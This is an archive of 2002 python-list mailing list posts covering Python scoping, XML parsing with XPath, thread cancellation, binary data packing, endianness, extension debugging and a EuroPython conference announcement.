number = 120 x = 20 and y = 55 , number = 1540 x = 34 and y = 119 , number = 7140 >>> Tighter conditions could be used in the two tests of when to break out of the loop -- but you would have to solve a quadratic and a cubic. HTH, John From whisper at oz.net Sat May 11 07:12:21 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 04:12:21 -0700 Subject: Scope in 2.2.1 Message-ID: > You quoted the rule, and it's very simple: are there binding operations > on that name in this block? If so, it's a local variable of the > block, and > no attempts in this block to reference that local variable will > ever 'find' > anything but that local variable. > > Having the same name refer to completely different scopes in such > uses as: > > def outer(): > x = 23 > def inner(): > for i in range(2): > print x > x = 45 > > would do more than surprise me -- it would utterly ASTONISH me. > The 'x' in "print x" needs to be compiled into one kind of reference -- > what kind will it be? Python chooses "the local variable of inner", > since it sees that inner has a local variable of that name. Ignoring > the local variable altogether would be astounding, as would be > using the non-local on one leg of the loop and the local on the next. > > When nested lexical scopes were about to be introduced, I suggested > we adopt Java's rule: it's illegal to "shadow" a variable of an > outer block > by a homonym in an inner block. I thought and still think that this is a > reasonable rule -- unfortunately almost nobody agreed, and so we have > these situations in which there's just no way out from astonishing SOME > people, it seems. With the shadowing-forbidden rule, the compiler could > give clear error messages about violations (at least for inner vs outer, > unfortunately not for globals, for backwards compatibility at least, but > also because the compiler can have no idea of what global names will > be bound at runtime, while locals _are_ under the compiler's control). I have grown accustomed by long use to the way that C, C++ and Pascal (and asm for that matter!) become aware of declarations. To use an analogy, there's a line that moves down the page and things below the line are unknown to the compiler since they're not seen yet unless they're forward declared. Code is parsed based on what's known above the line. Python seems to have an implicit per block pre-pass that gets all the bindings before statements are parsed. Is this the correct idea? I can see from the below discussion that it might not be that simple, but what IS the correct conceptual model here? > > Maybe the appendix would make more sense as: > > > > "If a name binding operation occurs anywhere within a code > block, all uses > > of that name within the block are treated as references to that binding. > > They're not necessarily references to THAT binding -- not in the sense in > which Python uses 'binding'. > > def f(x): > if x==23: x=45 > print x > > the x in the print may reference either the same binding as given by f's > caller, or the binding to 45. It IS certainly a reference to the *local > variable* named x, but what binding of that local variable applies, it's > anybody's guess. "scoping" might be a useful neologism here. gaaaaa! this is mad! How can you write a sane program in this sort of environment?!? > > This will lead to errors when a name is used within a block before it is > > bound." > > It sure will, and even that's not saying enough: > > def f(): > x = 45 > print x > del x > print x > > the second print WILL say something about "before being bound", but > we can see it's a lie -- x WAS bound earlier, and will NOT be bound > later, so "before" is clearly inapplicable here. > > Pretty hard to document this or find the perfect error message, though. Well, this makes a kind of sense: the del returns x to it's before bound state: unbound. > Alex I can hardly wait for someone to write up a _good_ comprehensive discussion on scopes, nesting and bindings thereof, and how to live among them. What you've described here seems, absent the correct conceptual framework (if there even is one), to make it virtually impossible to avoid some very subtle and nasty bugs. Dave From opengeometry at yahoo.ca Sat May 25 12:56:09 2002 From: opengeometry at yahoo.ca (William Park) Date: Sat, 25 May 2002 12:56:09 -0400 Subject: Please help a newbie. In-Reply-To: ; from sarmstrong13@mac.com on Sat, May 25, 2002 at 11:32:46AM -0500 References: Message-ID: <20020525125609.A4235@node1.opengeometry.ca> On Sat, May 25, 2002 at 11:32:46AM -0500, SA wrote: > I'm trying to learn Python. I was going through the 24 hour book for python > and being new to programming, I got quite confused by the books explanation > on OOP. Does anyone know of some good tutorials on line that explain this > concept and in particular how it relates to Python. Look around website, or get another book. Basically, "OOP" is a way to move as much details as possible to the data, instead of having programmer remember those details every time the data are used. -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From cliechti at gmx.net Fri May 17 22:54:08 2002 From: cliechti at gmx.net (Chris Liechti) Date: 18 May 2002 04:54:08 +0200 Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> <3CE5B856.D1150BCC@engcorp.com> <3CE5BD65.3000908@hotmail.com> Message-ID: Matthew Diephouse wrote in news:3CE5BD65.3000908 at hotmail.com: > The code is very much like the Perl code I submitted. It is within a > subroutine. > > def hex2bin(input) > output = hex( input ) > output = pack("!l", output) > ... if you want to convert a number to a string containing the binary represenation of the number try it without hex(): def hex2bin(inp) output = pack("!l", inp) ... hex() in python converts number->string. if the input above is a string with hexdigits use int() instead: output = pack("!l", int(inp,16)) or if you need to cut away '0x' output = pack("!l", int(inp[2:],16)) chris > From this, I get the error "required argument is not an integer", as > previously stated. There's no other info in the Traceback that's > important. I've tried wrapping output with a call to the int() function, > but that doesn't work either. > -- Chris From paul at boddie.net Tue May 21 10:44:02 2002 From: paul at boddie.net (Paul Boddie) Date: 21 May 2002 07:44:02 -0700 Subject: xml.dom.minidom References: <28c7ef7c.0205210010.4f363646@posting.google.com> Message-ID: <23891c90.0205210644.3e754c5d@posting.google.com> a2600 at hotmail.com (joe user) wrote in message news:<28c7ef7c.0205210010.4f363646 at posting.google.com>... > > > > > <text> > <data> > Hello World > </data> > </text> > <footer> > <data> > Hello Footer > </data> > </footer> > </mydoc> > > > What I would like to do is to get the contents of the "<data>"-tag > within the "<footer>"-tag. > > If anyone has a minute over, could you please give me an example on > how to proceed? One of the "coolest" ways to proceed is actually to use XPath. Try the following: # Your document has been parsed and is in the 'document' variable. # This seems to be the way to get an XPath "context". import xml.xpath context = xml.xpath.Context.Context(document) # Now, search for the text inside the 'data' element, itself inside # the 'footer' element. # (Note that we use some strange parameter notation here - I don't # know why, exactly, but it's necessary and strange errors can # occur if we get this wrong.) nodes = xml.xpath.Evaluate("//footer/data/text()", context=context) # What this did was to find all 'footer' elements in the document. # (The // means "find the following elements at all levels of # 'document'".) Then go inside each of these 'footer' elements to # find 'data' elements, and then inside those elements to find all # text nodes. # Note that all 'footer' elements without 'data' elements inside # them are excluded from the results. for node in nodes: print node.nodeValue # The above should print the values of all the nodes found. I've been using XPath a lot recently, outside of its usual XSLT domain, and it makes XML document processing so much more fun than just using the DOM directly. Take a look at the W3C site (http://www.w3.org) for more information on the XPath standard. Paul From mwh at python.net Tue May 7 04:52:03 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 7 May 2002 09:52:03 +0100 (BST) Subject: XML: minidom toxml() does not work for non English files! :-( In-Reply-To: <20020506130307.A12413@ActiveState.com> Message-ID: <Pine.LNX.4.44.0205070947070.30234-100000@starship.python.net> On Mon, 6 May 2002, Trent Mick wrote: > Micheal, Marc-Andre, > > Perhaps you could help me shed some light on this. Perhaps. Not a lot, I suspoect. > There are two issues > that I see: [...] > 2. It looks to me like Python 2.2.1 does *not* include the > StringIO.py that is part of the 'r221' Python CVS tag. Am I > wrong? I just d/l-ed the release tarball of 2.2.1 and found the version of StringIO.py I was expecting to find (i.e. MALs + my --disable-unicode fix, which I really must get around to installing on the trunk sometime...). > > > Any insight would be appreciated. > > Thanks, > Trent > > > > Further information: > > - StringIO CVS log: > http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/StringIO.py > > > - diff of Python Labs' 2.2.1 StringIO.py with StringIO.py in CVS at the ^^^^^ 2.2.1 here. > 'r221' tag: > > C:\>diff -u C:\PythonLabs22\Lib\StringIO.py D:\cvs\python-r221\dist\src\Lib\StringIO.py ^^ 2.2 here? Maybe? I don't think this one is my fault. Cheers, M. From jb at cascade-sys.com Sat May 18 02:43:02 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 23:43:02 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <Pine.LNX.4.44.0205180931380.1154-100000@suzi.com.onego.ru> Message-ID: <3CE5F7F6.D58A50C0@cascade-sys.com> Roman Suzi wrote: > On Fri, 17 May 2002, James J. Besemer wrote: > > > I beg to differ. Mathematically, there's no notion of assignment like we have in > > programming. From a traditional mathematics view " x = x + 1" is a nonsensical > > statement. At best it's a contradiction in terms. In Mathematics, you don't > > have assignment that can be done over and over. You can only make statements > > about equality or inequality. At bottom all mathematics is defined in terms of > > sets and predicates about sets. > > It is right. But if you look into applied math journals, people > communicate algorithms in a pseudolanguage where sets are > widely used. It could be nice if Python supported such things closer. Python certain can support sets and set arithmetic INDEPENDENTLY of whether sets are intrinsic or not. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From yiyang at wharton.upenn.edu Mon May 13 17:17:03 2002 From: yiyang at wharton.upenn.edu (Catherine Yang) Date: Mon, 13 May 2002 17:17:03 -0400 Subject: How to call another file References: <abols1$l0b$1@netnews.upenn.edu> <mailman.1021303762.13689.python-list@python.org> Message-ID: <abpa4g$h8i$1@netnews.upenn.edu> It doesn't matter what file it is. It can be a C file. By "calling", I mean executing another file. I want to use Python to finish some tasks, then use another file (*.sas) to finish another task, then return to Python to continue. It's like executing a system command from Python, I guess. Thanks Catherine P.S. "Oleg Broytmann" <phd at phd.pp.ru> wrote in message news:mailman.1021303762.13689.python-list at python.org... > On Mon, May 13, 2002 at 11:31:11AM -0400, Catherine Yang wrote: > > How to use Python to call another file, e.g. a SAS file *.sas ? > > We don't know much about SAS... what do you mean saying "call"? How do > one "calls" a SAS file? > > Oleg. > -- > Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru > Programmers don't die, they just GOSUB without RETURN. > > From mgilfix at eecs.tufts.edu Thu May 2 10:09:11 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Thu, 2 May 2002 10:09:11 -0400 Subject: Killing a running thread In-Reply-To: <20020502131214.GI13641@teich.Garten.DigitalProjects.com>; from ASkwar@DigitalProjects.com on Thu, May 02, 2002 at 03:12:14PM +0200 References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502131214.GI13641@teich.Garten.DigitalProjects.com> Message-ID: <20020502100911.A16352@eecs.tufts.edu> In Python you need to break your loops up into chunks and check a have a threading.Event () object that you check if set. So something like: done = threading.Event () line = file.readline () while line and not done.isSet (): # do stuff line = file.readline () Or.. for line in file.xreadlines (): if done.isSet (): break -- Mike On Thu, May 02 @ 15:12, Alexander Skwar wrote: > Okay, I'll send this reply back to the group. > > However, I'm sorry to say this, but this didn't help me. My problem is, > that I'm spending a very large time in just one map() function call, > which iterates over a large list and calls a custom method for every > element. I could of course write a thread wrapper function for this > function, but this doesn't sound very elegant to me. Further, even if > I'd do this, I wouldn't know how I could jump out of this function > without iterating over the rest of the elements. > > Other large amounts of time are spend in a "for zeile in > xreadlines.xreadlines(src):". Here I could of course use the techniques > from your link. And finally I'm spending a large chunk of time in > md5s.write(result_str_md5) (md5s is a file object). For this I would > not know how I could quit the thread at all. > > Alexander Skwar > -- > How to quote: http://learn.to/quote (german) http://quote.6x.to (english) > Homepage: http://www.iso-top.de | Jabber: askwar at a-message.de > iso-top.de - Die g?nstige Art an Linux Distributionen zu kommen > Uptime: 8 days 8 hours 5 minutes > > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (ASkwar) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From shalehperry at attbi.com Sat May 4 16:21:42 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 04 May 2002 13:21:42 -0700 (PDT) Subject: making python scripts backwards compatible In-Reply-To: <13285ea2.0205041128.51eda313@posting.google.com> Message-ID: <XFMail.20020504132142.shalehperry@attbi.com> On 04-May-2002 J.Jacob wrote: > I would like to make a request. > > Today I spent again some time converting python code. It > was in the SimpleXMLRPCServer.py file. I wanted to use it > remotely on another computer but it gave errors because of > list comprehension and using the "".method() syntax > instead of importing string. The reason was that other > computer was still running python 1.5.2. I could not > upgrade the remote computer (no root access) and even if i > could the problem would come up soon again when the > (mobile agent-)program relocated. > I agree, it is quite annoying. It is pretty easy to write a python script to catch a lot of this. += and its friends can be programmatically turned into a = a + .. same goes with string methods. list comprehensions however require human intervention. A bigger problem is the change in scope rules. I find it particularly annoying that the python group makes this assumption we are all running last week's python. Not everyone owns the machine their scripts run on. From phr-n2002a at nightsong.com Mon May 6 05:02:53 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 06 May 2002 02:02:53 -0700 Subject: Python SHA-based encryption function, new version References: <7xu1pmxkco.fsf@ruckus.brouhaha.com> Message-ID: <7xbsbt643m.fsf@ruckus.brouhaha.com> Paul Rubin <phr-n2002a at nightsong.com> writes: > I've uploaded a new version to: > > http://www.nightsong.com/phr/crypto/p2.py > > Please continue to post any comments/suggestions/bugs. Sigh. That version (RCS revision 1.12, from yesterday) had a 1-word typographical error that would have caused a silent but catastrophic security failure. It's fixed now. If you downloaded revision 1.12 then please delete it immediately and get the current version. The current version (revision 1.13) is still considered an eval/test version and still has a date check. I see a couple other code cleanups I'm likely to make, and I might add more entry points, but unless someone finds a problem, this release is probably the final test version in terms of algorithms, and the second-to-final in terms of code. Next will be a release candidate with a date check, and if no problems are found with it, there will be a final release with the date check removed and no other changes. From aleax at aleax.it Mon May 6 03:51:14 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 07:51:14 GMT Subject: Need help... References: <409a56e2.0205052334.77d409f2@posting.google.com> Message-ID: <SBqB8.7792$zW3.203252@news1.tin.it> Shagshag wrote: > having three keys a, b, c i have to define all possible "couples keys" ... > and i must be able to retrieve (a, b) with (b, a), (a, c) with (c, a) > and (a, b, c) with (a, c, b), (c, a, b), (b, a, c) or any combination > of the three... > i can have couples of 2, 3, 4, or more keys... So, you want to use arbitrary subsets of (a, b, c, ...) as indices. The requirement that (a,b) and (b,a) are the same index is obviously simplest to meet by sorting. > (a, b) -> v1 -> v2 > (a, c) -> v3 -> v5 -> v8 > (b, c) -> v1 -> v4 > (a, b, c) -> v2 -> v4 -> v7 > > where -> stand for something like a linked list. A Python list is simplest. > In fact i have more than a thousand possible couples and the linked > list might be quite long... You'll need to have enough memory to hold your data, of course, or else consider using datases or files for support. If things do fit in memory: class Shagshag: def __init__(self): self.store = {} def __getitem__(self, indices): aux = list(indices) aux.sort() return self.store.setdefault(tuple(aux),[]) s = Shagshag() a, b, c = 'abc' s[b,a,c].append('v2') s[c,a,b].append('v4') s[b,c,a].append('v7') print s[a,b,c] Alex From opengeometry at NOSPAM.yahoo.ca Mon May 6 01:05:38 2002 From: opengeometry at NOSPAM.yahoo.ca (William Park) Date: 6 May 2002 05:05:38 GMT Subject: degrees and radians. References: <mailman.1020560288.30503.python-list@python.org> <tvl2ba.4q7.ln@127.0.0.1> <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> <oj04ba.tnb.ln@127.0.0.1> Message-ID: <ab52v0$f4n7u$1@ID-99293.news.dfncis.de> Jim Richardson <warlock at eskimo.com> wrote: > sorry, I wasn't very clear, in the above example, the result I am > looking for is > >>>>a=(1,2) >>>>b=(2,3) >>>>a+b > (3,5) Well, you can learn about Python's OO nature by writing class to handle this: class vector: def __init__(self, x=[]): # vector([...]) self.array = x[:] self.n = len(x) def __repr__(self): return `self.array` def __add__(self, other): for a, b in map(None, self.array, other.array): out.append(a + b) return vector(out) >>> a = vector([1,2]) >>> b = vector([2,3]) >>> a+b [3, 5] -- William Park, Open Geometry Consulting, <opengeometry at yahoo.ca> 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From peter at engcorp.com Tue May 21 22:08:34 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 May 2002 22:08:34 -0400 Subject: Is python really slow? References: <Xns9215ABCC0DDC8chrislak@209.249.90.101> Message-ID: <3CEAFDA2.E8B30B24@engcorp.com> Chris wrote: > > I am a bit disheartened at how common it seems to code only some of > a program in Python and use C for other parts ... > Is this just because ... Python [is] really so slow that one needs to > go to C on a more regular basis? > > This is NOT flamebait... it just has me concerned that by deciding on > Python (after becoming semi-proficient in PHP and Perl) I might be making a > mistake. As others have noted, Python is the same speed as Perl, and the use of C comes more from the desire to integrate with other software than from a need for improving on Python's speed. My comment is that in 2.5 years of writing Python code, with a group averaging eight developers during that time all writing Python, the only time we have had to write C code to work with Python was to interface with a dual-port RAM device in an embedded system in which we use Python -- not because of speed concerns. We use Python for web work (via Zope), factory automation, utilities, GUI applications, embedded systems and other areas. We pretty much cover the range, and have not yet found a reason to write any C code. Those who do for performance reasons are generally working in specialized areas (e.g. image processing) or they may be optimizing prematurely. In any case, compared to the other "P" languages you mention, Python is definitely not slower. Note however that none of those other languages, including the "C" one :-), would be as suitable for such a wide range of application areas as Python. -Peter From jb at cascade-sys.com Thu May 9 11:52:28 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 09 May 2002 08:52:28 -0700 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <oqu1ph79xq.fsf@titan.progiciels-bpi.ca> Message-ID: <3CDA9B3C.F2D00FE6@cascade-sys.com> Fran?ois Pinard wrote: > Python does not really optimise the code it generates. Some brave souls > (Skip in particular) did flurries of tries in that direction, and kind of > demonstrated that byte-code optimisations might not be as rewarding as we > could have thought it would be. > > In the particular case above, CSE may not be applied, because the optimiser, > if it existed, could not assume that `f' has no side-effect. Suppose: > > def f(x): > global y > y = y + 1 > return x + y > > then `y' should be incremented four times, not one. Some compilers have global optimizers that can recognize cases where sufficiently simple functions do not have side-effects and then do common sub-expression elimination even on function calls. However, this is rare because it's hard to do and because the opportunity to perform that particular optimization is infrequent. I'd expect there'd be more to gain in Python simply looking for patterns such as for i in xrange(N): ... for item in list: ... list comprehensions and transforming them into a form where the loop is folded into lower level runtime routines rather than executed long hand by byte-codes. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From tinu at email.ch Mon May 13 03:16:53 2002 From: tinu at email.ch (tinu) Date: 13 May 2002 09:16:53 +0200 Subject: writing binary file for different platform References: <3cdbc406.16463125@news.easynews.net> Message-ID: <m3661s8ql6.fsf@yak.ethz.ch> This is what I do for reading Fortran files produced on different Machines. The line is taken from Numeric and is true (1) for little endian. LittleEndian = Numeric.fromstring("\001"+"\000"*7, 'i')[0] == 1 I package the whole thing into one function that returns the appropriate Fromstring function, depending on the hosts endianness as well as the file's endianness: ----- import Numeric # this is taken from the Numeric.py module, where it is defined globally # LittleEndian = Numeric.fromstring("\001"+"\000"*7, 'i')[0] == 1 def myFromstring(endian): """Handle the problems caused by endian types. o Big endian: Sun Sparc, HP etc. o Little endian: Intel machines (PC) Give here the endian type of the file, the endian type of the machine is automatically determined by the constant LittleEndian above. The conventions are as those given in 'struct' module: '@','=' : File is native (was produced on the same machine) '<' : File is little endian '>','!' : File is big endian (network) """ if Numeric.LittleEndian: if endian in ['>','!']: return lambda s, t: Numeric.fromstring(s,t).byteswapped() else: return Numeric.fromstring elif endian in ['<']: return lambda s, t: Numeric.fromstring(s,t).byteswapped() else: return Numeric.fromstring -- Martin L?thi VAW Glaciology, ETH Z?rich, Switzerland mel: luthi at vaw.baug.ethz.ch From warlock at eskimo.com Sun May 5 03:09:55 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sun, 5 May 2002 00:09:55 -0700 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <slrnad779l.r1q.tim@vegeta.ath.cx> <slrnad77g9.r1q.tim@vegeta.ath.cx> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> <slrnad8ve7.18l.tim@vegeta.ath.cx> <ab225g$seq$1@peabody.colorado.edu> Message-ID: <3sl2ba.4q7.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, 04 May 2002 19:30:58 -0600, Fernando P?rez <fperez528 at yahoo.com> wrote: > Tim Hammerquist wrote: > >> My only intent in mentioning POSIX was that on most *nix systems (esp. >> POSIX ones), you can #include<math.h> and compile and expect to call >> a sin() function (that, btw, takes its argument in radians). Other >> PC-oriented operating systems lack a standard math lib "out-of-the-box". >> > > BTW, this isn't really a unix-or-not issue, it's simply that mathematically, > the 'natural' form of all trig functions (their power series expansion) > requires their arguments to be expressed in radians: the period of sin(x) is > simply 2*pi, 6.1428..., whatever you want to call it. It's _not_ 360: > > sin(0) == 0 ; sin(360) ~ 0.96. > > Scientific calculators simply have a 'deg' mode which on the fly converts back > and forth between degree input and radians for internal work, but that's > simply a user convenience (because degrees are more conveninent for some > 'everyday' use as angular measurement units). > > Just a little detail. > > Cheers, > > f. I guess this whole furor shows how long it's been for me since I took math at high school level :) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81NrDd90bcYOAWPYRArmoAKCJK3bX5Q8wJKVf27Ivd0ggIZp9AQCdFJx9 UPU3O/FzMUekwp25yvTjTwU= =tujK -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From google at blinker.net Mon May 27 19:36:43 2002 From: google at blinker.net (Bjoern) Date: 27 May 2002 16:36:43 -0700 Subject: newbie problem with files... References: <a5d863b1.0205271027.73b02349@posting.google.com> Message-ID: <a5d863b1.0205271536.6f756c36@posting.google.com> I've received the answers now. One part is to open files for reading in binary mode. For cgi-scripts, I also found it necessary to add the -u option to the execution of python scripts, as I am using windows. That was in a faq-entry from 1997 - wouldn't it make sense to make that the default behaviour on windows? Bjoern google at blinker.net (Bjoern) wrote in message news:<a5d863b1.0205271027.73b02349 at posting.google.com>... > Hello, > > I can't seem to read complete files, they are usually cropped after > 1Kb or so. I've tried with file upload in cgi, but also reading files > from disk directly and writing them to another file. > > The only thing I could imagine is that it has to do with the > description of read(): > > "For certain files, like ttys, it makes sense to continue reading > after an EOF is hit." > > I don't know what a ttys is - so how would I know when to continue > reading after an EOF, and how would I then know when to stop? > > My current testcode goes like this > > fIn = open("doublebuffer.zip","r") > fOut = open("double2.zip","wb") > > chunk = fIn.read() > fOut.write(chunk) > fOut.flush() > fOut.close() > fIn.close() > > where doublebuffer.zip is a 13Kb zipfile. double2.zip ends up a 1KB > file that isn't a valid zip-file... > > Many thanks in advance for any pointers! > > > Bjoern From jiri at baum.com.au Fri May 31 23:55:03 2002 From: jiri at baum.com.au (Jiri Baum) Date: Sat, 1 Jun 2002 13:55:03 +1000 Subject: Why does this work: 5<"five" ? References: <3CF80435.689AE006@icc-computer.de> Message-ID: <nig9da.7s9.ln@10.0.0.1> Ingo Linkweiler: > today I found a really annoying "feature" of Python: >>>> 5<"five" > 1 > Why can I compare values of any type ? ... > So what is the interpreter doing here? It's documented that way. When comparing values of different types, you get an arbitrary (but fixed) ordering. I think the docs say it can change from version to version. You'll note that 5>"five" gives you a 0. This means you can do things like binary search trees without worrying about how to sort disparate values. Jiri -- Jiri Baum <jiri at baum.com.au> http://www.csse.monash.edu.au/~jirib MAT LinuxPLC project --- http://mat.sf.net --- Machine Automation Tools From ak at silmarill.org Fri May 17 16:01:25 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Fri, 17 May 2002 20:01:25 GMT Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <slrnaeaof7.11q.ak@ak.silmarill.org> In article <409a56e2.0205170047.429beb44 at posting.google.com>, Shagshag wrote: > Hello, > > Newbie to python, i was wondering how *skilled* guys code with it : > > By now to write a function i write it in a text editor (with coloured > syntax), copy and paste it in idle try it, then go back to text > editor to debug it and so on until i've tuned it like i want, then > next function and so on until i complete module... And that's really > boring theses permanent back and forth... > > So how do you do it ? Which tools do you use ? > > (i'm on window, freeware if possible or not to expensive...) > > Another one is which are "standard" coding in Python ? > > (thing like initCap, postfix private atribute with "_" and so on) > > Thanks in advance, > > S13. > I think this wasn't mentioned yet: with a good editor, you can execute code right from it. For example, in vim you can put a line in .vimrc: map ,p :!python % <cr> When you hit ,p in command mode, it'll run current file through python interpreter. - Andrei -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From dkt at registriesltd.com.au Thu May 16 02:07:49 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Thu, 16 May 2002 16:07:49 +1000 Subject: embed data inside string In-Reply-To: <3CE3337F.7CA0D11B@sbcglobal.net>; from juliabell@sbcglobal.net on Thu, May 16, 2002 at 04:19:43AM +0000 References: <3CE3337F.7CA0D11B@sbcglobal.net> Message-ID: <20020516160749.R4320@regdp-02.intint.registriesltd.com.au> On Thursday 2002-05-16 at 04:19:43 +0000, Julia Bell wrote: > I can create a string from a mixture of quoted strings and data with > something like: > mystring = "Value of parameter = " + parameter + " is unexpected" > (where parameter is a variable holding a string value) > Is there a way to embed the VALUE of the parameter in the string from > within the quotes (essentially avoiding concatenating strings)? > (I don't want to use formatted strings - I'm looking for something to > simplify the line.) The best way in Python would probably be: mystring = "Value of parameter = %s is unexpected" % (parameter) which, although a formatted string, looks pretty simple to me ;-) David Trudgett From Gelatti at exatas.unisinos.br Wed May 15 16:26:39 2002 From: Gelatti at exatas.unisinos.br (Giorgenes Gelatti) Date: Wed, 15 May 2002 17:26:39 -0300 Subject: Debugging my Python extensions (win32) In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E2019221517C@admin56.narex.com> Message-ID: <3CE29A4F.11882.904F6@localhost> Compile your module in debug mode. If you have the problem "pythonxx_d.lib not found" do the following: In every #include <Python.h> you have in your file change it to: #ifdef _DEBUG #include <Python.h> #define _DEBUG #else #include <Python.h> #endif Well, with your dll linked ok, goto projects/settings menu. 1) In the debug options/Executable for debug section select the python executable (eg. c:\python22\python.exe 2) In working directory put the python directory (eg. c:\python22) Now, just press F5. It will run the python interpreter. There type "import yourmodule". This way I can debug my modules easily. Hope this helps. > So I've created my Python extension modules, and compiling them in > release mode I can call into them and all is well... except there is a > bug in one of the methods. Question: "how do I debug this?" I've tried > compiling Python in debug mode as well as my extension, but that didn't > let me put a breakpoint in my extension class. I'm thinking I need to > compile Python with static libraries (and include my extension in the > Python executable). This seems like a pain however, so I figured I ask > if I'm headed in the right direction or if I'm missing something > simple... > > -- bjorn > > > -- > http://mail.python.org/mailman/listinfo/python-list From m.faassen at vet.uu.nl Wed May 22 09:34:04 2002 From: m.faassen at vet.uu.nl (Martijn Faassen) Date: 22 May 2002 13:34:04 GMT Subject: ANN: EuroPython 2002, June 26-28, Belgium Message-ID: <acg6oc$gh2$1@newshost.accu.uu.nl> European Python and Zope Conference 2002 Inaugural event for growing developer community in Europe Open source leaders to give keynotes June 26-28, 2002 Charleroi, Belgium http://www.europython.org CHARLEROI, MAY 22 - The EuroPython and Zope Conference 2002 announces the first major Python and Zope Conference in Europe, held June 26-28 in Charleroi, Belgium. With keynote speeches that include an original leader of open source, the creator of Python, and the architect of Zope, as well as major developer activities, the conference promises to be a breakthrough event for open software in Europe. Hundreds of new and experienced developers attending the conference will see a full program, including: o Keynote by Guido van Rossum, creator of Python o Keynote by Eric Raymond, an originator of the open source movement and active Python developer o Tutorials and development sessions by Jim Fulton, architect of Zope and Chief Technology Officer at Zope Corporation o State of the Zope talk by Paul Everitt, co-founder of Zope Corporation The conference program has over 30 presentations and tutorials in 7 tracks, including Python Language, Zope, Python In Science and Industry, Python In Business, Python Applications, and Web Services. Note that the Python Language track showcases Jython, the 100% pure Java implementation of the Python language. The program contains tutorials, presentations, lightning talks, and "birds of a feather" gatherings. Additional events include a "sprint" for building Zope 3, the next major version of Zope, as well as the first general member's meeting of the EuroZope Foundation and a meeting of the Python Business Forum. EuroPython 2002 will be held in Charleroi, Belgium, a city close to Brussels. Space is filling quickly, so early registration at the EuroPython website (http://www.europython.org) is encouraged. Student discounts are available. The EuroPython 2002 conference continues this year's series of open source developer events in Europe, including FOSDEM and LinuxTag, which each attracted thousands of attendees. Like these conferences, EuroPython 2002 is organized by a volunteer group of open source developers. **About Python** Python is a leading object-oriented open source programming language that runs on all modern platforms. By integrating ease-of-use, clarity in coding, enterprise application connectivity and rapid application design, Python is an ideal programming platform for todays IT challenges. More information, including the Python source code and binaries for Linux and Windows, are available at http://www.python.org. **About Jython** Jython is an implementation of the Python programming language written in 100% pure Java. It provides the flexibility and interactive scriptability of Python to the world of Java. More information, including the Jython source code and executables for all major Java Virtual Machines, is available at http://www.jython.org. **About Zope** Zope is a leading open source application server, specializing in content management, portals, and custom applications. Since Zope Corporation introduced Zope as an open source product in 1998, it has become the platform of choice for content publishers, managers and application developers. Zope comes with complete source code, most of which is written in Python. More information, including the Zope source code and binaries for Linux and Windows, are available at http://www.zope.org. Python, Jython and Zope are maintained and enhanced in open source fashion by an international community of programmers and companies. Contacts EuroPython Conference Team P3B c/o Aragne Boulevard G?n?ral Michel 1E B-6000 Charleroi. Conference Organization: mailto:europython at p3b.org International Contacts * Belgium * Denis Fr?re, mailto:denis at aragne.com, tel: +32(0)479.651.442 * Tom Deprez, mailto:tom at aragne.com, tel: +32(0)2.479.63.88 * France * Nicolas Chauvat, mailto:nicolas.chauvat at logilab.fr, tel: +33(0)1.45.32.03.12 * Germany * Marc-Andre L?mburg, mailto:mal at egenix.com, tel: +49(0)211.9304112 * Netherlands * Martijn Faassen, mailto:faassen at vet.uu.nl, tel: +31(0)10.243.7051 * United Kingdom * Andy Robinson, mailto:andy at reportlab.com , tel: +44(0)7976.355742 * Tim Couper, mailto:tim at 2wave.net, tel: +44 (0)1582 463120 From pyth at devel.trillke.net Thu May 16 11:16:37 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 17:16:37 +0200 Subject: how to determine an 'open' string? In-Reply-To: <XFMail.20020516080652.shalehperry@attbi.com>; from shalehperry@attbi.com on Thu, May 16, 2002 at 08:06:52AM -0700 References: <20020516164007.A28033@prim.han.de> <XFMail.20020516080652.shalehperry@attbi.com> Message-ID: <20020516171637.C28033@prim.han.de> Sean 'Shaleh' Perry wrote: > > On 16-May-2002 holger krekel wrote: > > hello, > > > > with my replacement rlcompleter module i'd like 